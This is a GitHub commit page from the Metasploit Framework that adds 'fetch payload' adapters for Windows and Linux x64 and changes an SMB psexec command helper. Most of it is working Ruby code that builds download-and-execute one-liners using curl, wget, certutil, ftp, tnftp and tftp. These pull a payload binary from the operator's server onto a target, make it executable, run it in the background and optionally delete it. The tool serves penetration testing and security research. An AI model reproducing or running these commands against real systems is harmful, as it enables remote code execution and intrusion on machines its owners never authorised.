Skip to content

Commit

Permalink
Add fetch payloads for Windows and Linux x64
Browse files Browse the repository at this point in the history
  • Loading branch information
bwatters-r7 committed May 18, 2023
1 parent b052386 commit 548a2d7
Show file tree
Hide file tree
Showing 22 changed files with 1,211 additions and 14 deletions.
333 changes: 333 additions & 0 deletions docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md

Large diffs are not rendered by default.

4 changes: 4 additions & 0 deletions docs/navigation.rb
Original file line number Diff line number Diff line change
Expand Up @@ -526,6 +526,10 @@ def without_prefix(prefix)
{
path: 'How-to-use-command-stagers.md'
},
{
path: 'How-to-use-fetch-payloads.md',
title: 'How to use Fetch Payloads'
},
{
old_wiki_path: 'How-to-write-a-check()-method.md',
path: 'How-to-write-a-check-method.md'
Expand Down
4 changes: 2 additions & 2 deletions lib/msf/core/exploit/remote/smb/client/psexec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -223,7 +223,6 @@ def execute_command_payload(smbshare)
text = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.txt"
bat = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.bat"
command = payload.encoded

output = execute_command_with_output(text, bat, command, smbshare, datastore['RHOST'], delay: datastore['CMD::DELAY'])

unless output.nil?
Expand All @@ -242,8 +241,9 @@ def execute_command_payload(smbshare)

def execute_command(text, bat, cmd)
# Try and execute the provided command
cmd = cmd.gsub('&', '^&')
execute = "%COMSPEC% /C echo #{cmd} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
vprint_status("Executing the command...")
vprint_status("Executing the command: #{execute}")
begin
return psexec(execute)
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
Expand Down
342 changes: 342 additions & 0 deletions lib/msf/core/payload/adapter/fetch.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,342 @@
module Msf::Payload::Adapter::Fetch

def initialize(*args)
super
register_options(
[
Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces.', Rex::Text.rand_text_alpha(rand(8..12))], regex:/^[\S]*$/),
Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
Msf::OptAddressLocal.new('FETCH_SRVHOST', [ true, 'Local IP to use for serving payload', "0.0.0.0"]),
Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', ''], regex:/^[\S]*$/)
]
)
register_advanced_options(
[
Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']),
Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']),
Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]),
Msf::OptString.new('FetchServerName', [true, 'Fetch Server Name', 'Apache'])
]
)
@delete_resource = true
@fetch_service = nil
@myresources = []
@srvexe = ''
@remote_destination_win = nil
@remote_destination_nix = nil
@windows = nil

end

def check_srvhost
if Rex::Socket.is_ip_addr?(srvhost) && Rex::Socket.addr_atoi(srvhost) == 0
raise ArgumentError, 'You must set FETCH_SRVHOST to a routable IP'
end
end

def compatible?(mod)
if mod.type == Msf::MODULE_PAYLOAD && (mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic) && (mod.class::CachedSize >= 120_000) # echo does not have an unlimited amount of space
return false
end
super
end


# If no fetch URL is provided, we generate one based off the underlying payload data
# This is because if we use a randomly-generated URI, the URI generated by venom and
# Framework will not match. This way, we can build a payload in venom and a listener
# in Framework, and if the underlying payload type/host/port are the same, the URI
# will be, too.
#
def default_srvuri
# If we're in framework, payload is in datastore; msfvenom has it in refname
payload_name = datastore['payload'] ||= refname
decoded_uri = payload_name.dup
# there may be no transport, so leave the connection string off if that's the case
netloc = ''
if module_info['ConnectionType'].upcase == 'REVERSE' || module_info['ConnectionType'].upcase == 'TUNNEL'
netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
unless datastore['LPORT'].blank?
if Rex::Socket.is_ipv6?(netloc)
netloc = "[#{netloc}]:#{datastore['LPORT']}"
else
netloc = "#{netloc}:#{datastore['LPORT']}"
end
end
elsif module_info['ConnectionType'].upcase == 'BIND'
netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
unless datastore['RPORT'].blank?
if Rex::Socket.is_ipv6?(netloc)
netloc = "[#{netloc}]:#{datastore['RPORT']}"
else
netloc = "#{netloc}:#{datastore['RPORT']}"
end
end
end
decoded_uri << ";#{netloc}"
Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false)
end

def download_uri
"#{srvnetloc}/#{srvuri}"
end

def fetch_bindhost
datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress']
end

def fetch_bindport
datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort']
end

def generate(opts = {})
opts[:arch] ||= module_info['AdaptedArch']
opts[:code] = super
check_srvhost
@srvexe = generate_payload_exe(opts)
cmd = generate_fetch_commands
vprint_status("Command to run on remote host: #{cmd}")
cmd
end

def generate_fetch_commands
# TODO: Make a check method that determines if we support a platform/server/command combination
#
case datastore['FETCH_COMMAND'].upcase
when 'FTP'
return _generate_ftp_command
when 'TNFTP'
return _generate_tnftp_command
when 'WGET'
return _generate_wget_command
when 'CURL'
return _generate_curl_command
when 'TFTP'
return _generate_tftp_command
when 'CERTUTIL'
return _generate_certutil_command
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
end

def generate_stage(opts = {})
opts[:arch] ||= module_info['AdaptedArch']
super
end

def generate_payload_uuid(conf = {})
conf[:arch] ||= module_info['AdaptedArch']
conf[:platform] ||= module_info['AdaptedPlatform']
super
end

def handle_connection(conn, opts = {})
opts[:arch] ||= module_info['AdaptedArch']
super
end

def srvhost
datastore['FETCH_SRVHOST']
end

def srvnetloc
netloc = srvhost
if Rex::Socket.is_ipv6?(netloc)
netloc = "[#{netloc}]:#{srvport}"
else
netloc = "#{netloc}:#{srvport}"
end
netloc
end

def srvport
datastore['FETCH_SRVPORT']
end

def srvuri
return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?
default_srvuri
end

def srvname
datastore['FetchServerName']
end

def windows?
return @windows unless @windows.nil?
@windows = platform.platforms.first == Msf::Module::Platform::Windows
@windows
end

def _check_tftp_port
# Most tftp clients do not have configurable ports
if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank?
print_error('The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVPORT must be set to 69 when using the tftp client')
end
end

def _check_tftp_file
# Older Linux tftp clients do not support saving the file under a different name
unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank?
print_error('The Linux TFTP client does not support saving a file under a different name than the URI.')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client')
end
end

# copied from https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/socket_server.rb
def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s)
comm = nil

case srv_comm
when 'local'
comm = ::Rex::Socket::Comm::Local
when /\A-?[0-9]+\Z/
comm = framework.sessions.get(srv_comm.to_i)
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
when nil, ''
unless ip.nil?
comm = Rex::Socket::SwitchBoard.best_comm(ip)
end
else
raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid")
end

comm || ::Rex::Socket::Comm::Local
end

def _execute_add
return _execute_win if windows?
return _execute_nix
end

def _execute_win
cmds = " & start /B #{_remote_destination_win}"
cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE']
cmds
end

def _execute_nix
cmds = "; chmod +x #{_remote_destination_nix}"
cmds << "; #{_remote_destination_nix} &"
cmds << ";rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
cmds
end

def _generate_certutil_command
case fetch_protocol
when 'HTTP'
cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}"
when 'HTTPS'
# I don't think there is a way to disable cert check in certutil....
print_error('CERTUTIL binary does not support insecure mode')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL')
cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd + _execute_add
end

def _generate_curl_command
case fetch_protocol
when 'HTTP'
cmd = "curl -so #{_remote_destination} http://#{download_uri}"
when 'HTTPS'
cmd = "curl -sko #{_remote_destination} https://#{download_uri}"
when 'TFTP'
cmd = "curl -so #{_remote_destination} tftp://#{download_uri}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd + _execute_add
end


def _generate_ftp_command
case fetch_protocol
when 'FTP'
cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
when 'HTTP'
cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
when 'HTTPS'
cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
end

def _generate_tftp_command
_check_tftp_port
case fetch_protocol
when 'TFTP'
if windows?
cmd = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}"
else
_check_tftp_file
cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
end
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd
end

def _generate_tnftp_command
case fetch_protocol
when 'FTP'
cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
when 'HTTP'
cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
when 'HTTPS'
cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
end

def _generate_wget_command
case fetch_protocol
when 'HTTPS'
cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
when 'HTTP'
cmd = "wget -qO #{_remote_destination} http://#{download_uri}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd + _execute_add
end

def _remote_destination
return _remote_destination_win if windows?
return _remote_destination_nix
end

def _remote_destination_nix
return @remote_destination_nix unless @remote_destination_nix.nil?
writable_dir = datastore['FETCH_WRITABLE_DIR']
writable_dir = '.' if writable_dir.blank?
writable_dir += '/' unless writable_dir[-1] == '/'
payload_filename = datastore['FETCH_FILENAME']
payload_filename = srvuri if payload_filename.blank?
payload_path = writable_dir + payload_filename
@remote_destination_nix = payload_path
@remote_destination_nix
end

def _remote_destination_win
return @remote_destination_win unless @remote_destination_win.nil?
writable_dir = datastore['FETCH_WRITABLE_DIR']
writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\'
payload_filename = datastore['FETCH_FILENAME']
payload_filename = srvuri if payload_filename.blank?
payload_path = writable_dir + payload_filename
payload_path = payload_path + '.exe' unless payload_path[-4..-1] == '.exe'
@remote_destination_win = payload_path
@remote_destination_win
end
end
23 changes: 23 additions & 0 deletions lib/msf/core/payload/adapter/fetch/http.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
module Msf::Payload::Adapter::Fetch::HTTP

include Msf::Exploit::EXE
include Msf::Payload::Adapter
include Msf::Payload::Adapter::Fetch
include Msf::Payload::Adapter::Fetch::Server::HTTP

def initialize(*args)
super
end

def cleanup_handler
cleanup_http_fetch_service(@fetch_service, @delete_resource)
super
end

def setup_handler
@fetch_service = start_http_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable']
super
end

end

Loading

0 comments on commit 548a2d7

Please sign in to comment.